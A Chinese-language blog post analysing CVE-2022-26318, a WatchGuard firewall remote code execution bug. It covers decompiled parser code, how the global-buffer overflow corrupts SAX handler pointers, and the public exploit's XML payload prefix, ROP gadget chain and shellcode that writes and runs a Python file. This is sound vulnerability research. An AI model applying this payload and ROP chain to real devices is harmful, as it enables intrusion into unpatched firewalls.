CVE-2022-26318

Catalpa 网络安全爱好者

2022 年 2 月 28 日,CVE 官方发布了影响 Watchguard 防火墙等设备的 RCE 漏洞 CVE-2022-26318,3 月 27 日,该漏洞的 EXP 开始在网上流传,本文对此漏洞的成因进行分析。

建立调试环境

获取 shell

FireBox 提供的 busybox 经过大量阉割,并且没有 sh,首先通过挂载磁盘的方式修正设备环境。

导入虚拟机之后将其虚拟硬盘挂载到另外一个系统下,将完整版的 busybox 和 sh 放在 /bin 目录下,并且赋予它们 suid 权限,然后修改 /etc/passwd 文件中的 root 用户密码。

之后将 exp 中执行 /bin/python -i 替换为 /bin/sh -i,执行后即可获取 shell,不过此时是 nobody 权限,执行以下命令提权到 root

1
2
busybox su
<输入密码>

调试

通过 wget 将 gdbserver 下载到 /tmp 目录下,尝试执行会提示无权限,检查 mount 信息发现 /tmp 目录被挂载为 noexec,使用以下命令重新挂载

1
mount -o rw,remount /dev/wgrd.var /tmp

然后放入的 gdbserver 即可正常运行。

默认情况下只有 web 等向外提供服务的端口可以访问,为了远程调试,我们需要修改防火墙规则。

进入系统后台,在 Firewall 选项下添加新的防火墙规则

这样防火墙其他端口就可以正常访问了。

漏洞分析

根据相关公告,存在漏洞的文件是 wgagent,接口为 /agent/login

逆向分析此文件,搜索 /agent/login 字符串可以找到处理 login 请求的 handler 函数

1
2
3
4
5
if ( s1 && (!strcmp(s1, "/login") || !strcmp(s1, "/agent/login")) )
{
login_handler(&ptr);
goto LABEL_396;
}

login_handler 函数开头就会调用函数 wga_parse_input 处理 POST 数据,部分关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
void *__fastcall wga_parse_input(__int64 a1, const char *content_type)
{
// ...

PushParserCtxt = 0LL;
v22 = 99999;
v31 = 0;
is_gzip = 0;
v21 = 0;
v20 = 0;
v28 = 0;
if ( content_type && !strcasecmp(content_type, "gzip") )
++is_gzip;
bzero(s, 0x100uLL);
xmlSAX2InitDefaultSAXHandler(s, 1LL);
xmlSAX2InitDefaultSAXHandler(s, 1LL);
s[12] = startDocument;
s[13] = endDocument;
s[29] = startElementNs;
s[30] = endElementNs;
s[17] = characters;
s[6] = 0LL; // entityDecl
ptr = calloc(1uLL, 216uLL);
if ( ptr )
{
PushParserCtxt = xmlCreatePushParserCtxt(s, ptr, 0LL, 0LL, "filename");
if ( PushParserCtxt )
{
::s[0] = 0;
bzero(haystack, 0x186A0uLL);
do
{
Str = FCGX_GetStr(haystack, v22, a1);
if ( !Str )
break;
v27 = 0LL;
v27 = strstr(haystack, "!ENTITY");
// ...
// ...
if ( is_gzip ) // 如果压缩了,要先解压
{
v24 = 0;
v4 = &haystack[v28];
v5 = Str;
v6 = 0LL;
v7 = v3;
v8 = 99999;
v25 = 0;
while ( !v25 )
{
v25 = inflate(&v4, 2LL); // 解压数据
if ( v25 )
{
if ( v25 == 1 )
{
v3[v9] = 0;
v32 = xmlParseChunk(PushParserCtxt, v3, v9, 0LL);
v24 += v9;
v9 = 0LL;
}
else
{
v32 = -1;
}
}
else
{
v32 = xmlParseChunk(PushParserCtxt, v3, v9, 0LL);
if ( v32 )
goto LABEL_50;
v24 += v9;
v9 = 0LL;
v8 = 99999;
v7 = v3;
if ( !v5 )
goto LABEL_48;
}
}
break;
}
// ...
}
}
}
}

用户提交的数据应该是 XML 格式,程序使用 libxml2 对数据进行解析,在函数开头使用了 xmlSAX2InitDefaultSAXHandler,初始化 SAX handler,SAX 是一种 XML 解析方式,在 libxml2 中使用 SAX 解析 XML 时需要初始化一些 handler,我根据 libxml2 源码对部分 handler 进行了重命名

1
2
3
4
5
6
s[12] = startDocument;
s[13] = endDocument;
s[29] = startElementNs;
s[30] = endElementNs;
s[17] = characters;
s[6] = 0LL; // entityDecl

其中值得注意的是 startElementNs,根据源码注释,这个回调函数会在每次一个新的 element 开始时被调用

1
2
3
SAX2 callback when an element start has been detected by the parser.
It provides the namespace informations for the element, as well as
the new namespace declarations on the element.

也就是说每当遇到一个新的 xml 标签开始时,程序会执行此函数,而这些 handler 由 Watchguard 开发者自行实现。

我们来看 startElementNs 和 endElementNs 函数代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
int *__fastcall startElementNs(__int64 a1, const char *tag_name)
{
int *result; // rax
int v3; // eax
__int64 v4; // rdi
__int64 v5; // rax
__int64 v6; // [rsp+30h] [rbp-30h]
__int64 v7; // [rsp+38h] [rbp-28h]
void *v8; // [rsp+40h] [rbp-20h]
_QWORD *v9; // [rsp+48h] [rbp-18h]
_QWORD *v10; // [rsp+50h] [rbp-10h]

result = *(a1 + 76);
if ( !result )
{
if ( *(a1 + 0x50) )
{
switch ( *(a1 + 80) )
{
case 1:
if ( strcasecmp(tag_name, "methodName") )
{
result = a1;
++*(a1 + 76);
return result;
}
*(a1 + 80) = 2;
break;
case 3:
if ( !strcasecmp(tag_name, "member") )
{
if ( !*(a1 + 108) || !*(a1 + 120) || !*(a1 + 128) )
{
result = a1;
++*(a1 + 76);
return result;
}
v10 = calloc(1uLL, 0x30uLL);
if ( !v10 )
{
fwrite("No memory!!!!\n", 1uLL, 0xEuLL, stderr);
result = a1;
++*(a1 + 76);
return result;
}
*(a1 + 80) = 4;
*v10 = *(*(a1 + 128) + 24LL);
*(*(a1 + 128) + 24LL) = v10;
++*(*(a1 + 128) + 16LL);
}
else if ( !strcasecmp(tag_name, "param") )
{
v9 = calloc(1uLL, 0x40uLL);
if ( !v9 )
{
++*(a1 + 76);
result = __errno_location();
*result = 12;
return result;
}
if ( *(a1 + 128) )
{
**(a1 + 128) = v9;
v9[1] = *(a1 + 128);
*(a1 + 128) = v9;
}
*(a1 + 128) = v9;
if ( !*(a1 + 120) )
*(a1 + 120) = v9;
++*(a1 + 108);
}
break;
case 4:
if ( !strcasecmp(tag_name, "name") )
*(a1 + 80) = 5;
break;
case 6:
if ( !strcasecmp(tag_name, "value") )
*(a1 + 80) = 7;
break;
case 8:
if ( !strcasecmp(tag_name, "value") )
{
*(a1 + 80) = 7;
v8 = calloc(1uLL, 0x30uLL);
if ( v8 )
{
v3 = strlen(*(*(*(a1 + 128) + 24LL) + 8LL));
*(v8 + 1) = sub_40629C(*(v8 + 1), 0, *(*(*(a1 + 128) + 24LL) + 8LL), v3);
*v8 = *(*(a1 + 128) + 24LL);
*(*(a1 + 128) + 24LL) = v8;
++*(*(a1 + 128) + 16LL);
}
else
{
fwrite("No memory!!!!\n", 1uLL, 0xEuLL, stderr);
++*(a1 + 76);
}
}
break;
case 7:
if ( !strcasecmp(tag_name, "base64") )
{
v4 = BIO_s_mem(tag_name);
v7 = BIO_new(v4);
v5 = BIO_f_base64(v4);
v6 = BIO_new(v5);
if ( v6 && v7 )
BIO_push(v6, v7);
BIO_set_flags(v6, 256LL);
*(*(*(a1 + 128) + 24LL) + 32LL) = v7;
*(*(*(a1 + 128) + 24LL) + 40LL) = v6;
}
if ( *(*(*(a1 + 128) + 24LL) + 16LL) )
{
free(*(*(*(a1 + 128) + 24LL) + 16LL));
*(*(*(a1 + 128) + 24LL) + 16LL) = 0LL;
*(*(*(a1 + 128) + 24LL) + 24LL) = 0;
}
if ( !strcasecmp(tag_name, "struct") )
*(a1 + 80) = 10;
break;
}
}
else
{
if ( strcasecmp(tag_name, "methodCall") )
{
result = a1;
++*(a1 + 0x4C);
return result;
}
*(a1 + 80) = 1;
}
*&s[strlen(s)] = '/';
strcat(s, tag_name);
unk_427194 = 1;
unk_427198 = 0;
result = a1;
++*(a1 + 64);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int __fastcall endElementNs(__int64 a1, const char *a2)
{
__int64 v2; // rax
__int64 v3; // rbx
void **ptr; // [rsp+28h] [rbp-28h]
char *v6; // [rsp+30h] [rbp-20h]

++unk_427190;
v6 = strrchr(s, '/');
--*(a1 + 64);
if ( v6 )
*v6 = 0;
if ( !unk_427198 )
unk_427198 = 1;
switch ( *(a1 + 80) )
{
case 2:
if ( *(a1 + 88) )
strcasecmp(*(a1 + 88), "/agent/upgrade");
LODWORD(v2) = a1;
*(a1 + 80) = 3;
break;
case 5:
LODWORD(v2) = a1;
*(a1 + 80) = 6;
break;
case 7:
case 9:
*(a1 + 80) = 8;
if ( *(*(*(a1 + 128) + 24LL) + 40LL) )
{
BIO_free_all(*(*(*(a1 + 128) + 24LL) + 40LL));
*(*(*(a1 + 128) + 24LL) + 40LL) = 0LL;
*(*(*(a1 + 128) + 24LL) + 32LL) = 0LL;
}
else if ( *(*(*(a1 + 128) + 24LL) + 24LL) )
{
++*(*(*(a1 + 128) + 24LL) + 24LL);
}
v2 = *(*(*(a1 + 128) + 24LL) + 16LL);
if ( !v2 )
{
v3 = *(*(a1 + 128) + 24LL);
*(v3 + 16) = malloc(1uLL);
v2 = *(*(*(a1 + 128) + 24LL) + 16LL);
if ( v2 )
{
v2 = *(*(*(a1 + 128) + 24LL) + 16LL);
*v2 = 0;
}
}
break;
default:
LODWORD(v2) = strcasecmp(a2, "member");
if ( !v2 )
{
*(a1 + 80) = 3;
v2 = *(a1 + 128);
if ( v2 )
{
v2 = *(*(a1 + 128) + 24LL);
if ( v2 )
{
v2 = *(*(*(a1 + 128) + 24LL) + 8LL);
if ( !v2 )
{
ptr = *(*(a1 + 128) + 24LL);
*(*(a1 + 128) + 24LL) = *ptr;
if ( ptr[2] )
free(ptr[2]);
free(ptr);
v2 = *(a1 + 128);
--*(v2 + 16);
}
}
}
}
break;
}
return v2;
}

关键在于 (a1 + 80) 变量(简称为 swi),此变量控制了分支结构的执行顺序,我们按照 exp 中构造的 xml 节点进行分析。

1
<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><AAAAA...AAMFA><BBBBMFA><BBBBMFA><BBBBMFA>...<BBBBMFA><BBBBMFA>payload

首先解析到 methodCall 开始标签,调用 startElementNs 函数,解析后将 swi 设置为 1

遇到 methodCall 结束标签,swi == 1 没有匹配情况,值不变

遇到 methodName 开始标签,swi == 1 在 startElementNs 中对应 case 1,设置 swi = 2

遇到 methodName 结束标签,swi == 2 在 endElementNs 中对应 case 2,设置 swi = 3

遇到 params 开始标签,swi == 3 在 startElementNs 对应 case 3,不过没有匹配任何情况,swi 不变

遇到 param 开始标签,swi == 3 在 startElementNs 对应 case 3,有匹配情况但 swi 不变

遇到 value 开始标签,swi == 3 在 startElementNs 对应 case 3,没有匹配情况,swi 不变

遇到 struct 开始标签,swi == 3 在 startElementNs 对应 case 3,没有匹配情况,swi 不变

遇到 member 开始标签,swi == 3 在 startElementNs 对应 case 3,有匹配情况,设置 swi = 4

后续存在大量填充的开始标签,由于此时 swi = 4,在 startElementNs 中对应 case == 4,标签名不等于 name,会直接 break 跳出 switch 结构。

最终会来到关键点 startElementNs 的第 136 行,调用 strcat 函数将 tag_name 即标签名直接拼接到全局变量 s 中。

显然此处缺少对 tag_name 长度的检查,如果构造超长的 tag 填充到全局变量会导致变量溢出。

利用分析

注:调试过程中程序多次重启,所以某些图片中地址可能不同

首先 payload 头部需要构造合适的标签序列,让 startElementNs 函数最终能够达到 “稳定” 状态,即如 exp 中所构造的,让 swi 变量始终等于 4。

所以 payload 第一部分为

1
payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value>".encode()

这样后续标签只要不等于 name,就可以一直触发 strcat 部分代码

接着查看一下全局变量 s 附近的内存布局

在拷贝第一个标签时看到变量 s 位于 0x427360,由于程序没有开启 PIE,所以这个地址固定。

在 s 下方刚好衔接了程序的 heap 段,所以理论上有两种利用思路,其一是通过溢出覆盖掉 bss 段中其他全局变量,这些变量可能在程序某处被使用,其二则是构造足够长的数据覆盖 heap 中的数据,利用堆的某些操作实现利用。

实际分析程序可以看到 s 下方唯一一个变量 0x427760 默认值为 0,暂时没看到可利用的点,所以只能通过操作堆尝试利用。

调试 EXP

调试原作者的 exp,其 payload 首先构造的很多用于填充的标签,第一部分用一个标签填充 3184 个字节,拷贝后内存布局:

从地址 0x428000 开始就是 heap 区域。

第二部分是 3680 个 <BBBBMFA> 标签,相当于填充了 3680 * (7 + 1) = 29440 字节,但实际调试中这些字节不会被全部覆盖到 heap 中,当覆盖到地址 0x429e60 时,继续执行就会调起新的程序。

观察 0x429e60 附近的内存:

地址 0x429e68 为 startElementNs 函数指针,地址 0x429e70 为 endElementNs 函数指针。

最后一个标签覆盖后 0x429e68 地址会变为 0x41464d,然后在地址 0x7f01f16024a1 会调用此指针

我猜测 payload 覆盖了 libxml2 中的 SAX handler 结构体(xmlSAXHandler 结构?),程序准备解析下一个标签时要调用 startElementNs 函数指针,但是此时指针已经被破坏,而 0x41464d 对应指令为 ret 0x90be

需要注意的是,我们输入的 payload 也存在于栈上:

调用 0x41464d 指针使用的是 call 指令,所以 ret 指令会直接回到 call 下一条指令继续执行,同时 rsp 会增大(下移) 0x90c6 字节,随后进入函数返回流程,最终执行到 ret 指令时内存布局:

我们发现此时已经进入 ROP 流程,栈中的 payload 刚好对应 exp 中第三部分 payload

1
payload += b'\x00' + b'\x20\x50\x40' + ...

ROP 所用的 gadget 列举如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
0x405020          ret
0x40f968 ret 2
0x405020 ret

0x41d60e pop rax
0x41d60f pop rbx
0x41d610 pop rbp
0x41d611 ret

0x405e7d mov rbp, rsp # 1. 将 rsp 放到 rbp
0x405e80 call rax <0x41d5b1>

0x41d5b1 pop rsi
0x41d5b2 pop r15
0x41d5b4 ret <0x405e7c>

0x405e7c push rbp # 2. 将 rbp 入栈
0x405e7d mov rbp, rsp
0x405e80 call rax <0x41d5b1>

0x41d5b1 pop rsi
0x41d5b2 pop r15
0x41d5b4 ret <0x41d2ad>

0x41d2ad lea rdx, [rbp - 0x80] # 3. rbp - 0x80 地址放到 rdx
0x41d2b1 mov rsi, rdx
0x41d2b4 mov rdi, rcx
0x41d2b7 call rax <0x41d5b1>

0x41d5b1 pop rsi
0x41d5b2 pop r15
0x41d5b4 ret <0x41d60e>

0x41d60e pop rax # 4. 0xc0
0x41d60f pop rbx
0x41d610 pop rbp
0x41d611 ret <0x40a92a>

0x40a92a add rax, rdx # 5. rdx + 0xc0,修正栈地址指向 shellcode
0x40a92d jmp rax <0x7ffe54fa6810> # 6. 跳转到 shellcode


==== shellcode ====
0x7ffcc7d7c070 lea rdi, [rip + 0x9d]
0x7ffcc7d7c077 mov esi, 0x241
0x7ffcc7d7c07c mov edx, 0x1b6
0x7ffcc7d7c081 mov eax, 2
0x7ffcc7d7c086 syscall <SYS_open>
file: 0x7ffcc7d7c114 ◂— '/tmp/test.py'
oflag: 0x241
vararg: 0x1b6
0x7ffcc7d7c088 mov qword ptr [rip + 0x92], rax
0x7ffcc7d7c08f mov rdx, qword ptr [rip + 0x93]
0x7ffcc7d7c096 lea rsi, [rip + 0x94]
0x7ffcc7d7c09d mov rdi, qword ptr [rip + 0x7d]
0x7ffcc7d7c0a4 mov eax, 1
0x7ffcc7d7c0a9 syscall <SYS_write>
fd: 0xd
buf: 0x7ffcc7d7c131 ◂— 0x732074726f706d69 ('import s')
n: 0x1ef
0x7ffcc7d7c0ab mov rdi, qword ptr [rip + 0x6f]
0x7ffcc7d7c0b2 mov eax, 3
0x7ffcc7d7c0b7 syscall <SYS_close>
fd: 0xd
0x7ffcc7d7c0b9 mov eax, 0x3b
0x7ffcc7d7c0be lea rdi, [rip + 0x3f]
0x7ffcc7d7c0c5 mov qword ptr [rip + 0x20], rdi
0x7ffcc7d7c0cc lea rsi, [rip + 0x41]
0x7ffcc7d7c0d3 mov qword ptr [rip + 0x1a], rsi
0x7ffcc7d7c0da lea rsi, [rip + 0xb]
0x7ffcc7d7c0e1 xor edx, edx
0x7ffcc7d7c0e3 syscall <SYS_execve>
path: 0x7ffcc7d7c104 ◂— '/usr/bin/python'
argv: 0x7ffcc7d7c0ec —▸ 0x7ffcc7d7c104 ◂— '/usr/bin/python'
envp: 0x0
0x7ffcc7d7c0e5 mov eax, 0x3c
0x7ffcc7d7c0ea syscall <SYS_exit>

对 ROP 分析请看代码中的注释,简单来说,此程序的 stack 区域默认具有可执行权限,作者用一种比较巧妙的方法将栈的地址加载到寄存器 rax 中,然后跳转到 rax 执行 shellcode,shellcode 部分利用 syscall 实现了将 python code 写入 /tmp/test.py,然后执行 /usr/bin/python /tmp/test.py 的操作,最终实现任意代码执行。

简单总结

该漏洞成因是使用 libxml2 SAX 解析 xml 时,startElementNs handler 的编码有问题,代码中没有检查 tag_name 长度就直接将其拼接到全局变量中,导致全局变量溢出。

程序内存布局比较特殊,bss 区域后面紧跟着 heap 区域,所以可以将全局变量的溢出转变为堆溢出,另外堆中又保存了 xmlSAXHandler 结构,可以将其中的 handler 指针覆盖,从而劫持控制流。

exp 作者通过巧妙的构造,将控制流首先劫持到 ret 0x90c6,由于传入的 POST 数据也会位于栈上,通过精心控制偏移,可以将程序劫持到 ROP 链上,从而将指针覆盖转换为栈溢出利用手法。

ROP 链中又构造出能够直接将控制流转移到栈上的 gadget,避免了需要爆破地址的问题。由于栈具有可执行权限,通过控制偏移即可跳转到 shellcode 上执行。

shellcode 中构造 syscall 将 python 代码写入本地文件并执行,解决了 /tmp mount 为 noexec 的问题。

很多完美的内存布局降低了开发利用代码的难度,加上作者巧妙的利用手段,使得此 exp 稳定性较高,危害较大。

  • Title: CVE-2022-26318
  • Author: Catalpa
  • Created at : 2022-03-30 00:00:00
  • Updated at : 2024-10-17 08:46:41
  • Link: https://wzt.ac.cn/2022/03/30/CVE-2022-26318/
  • License: This work is licensed under CC BY-SA 4.0.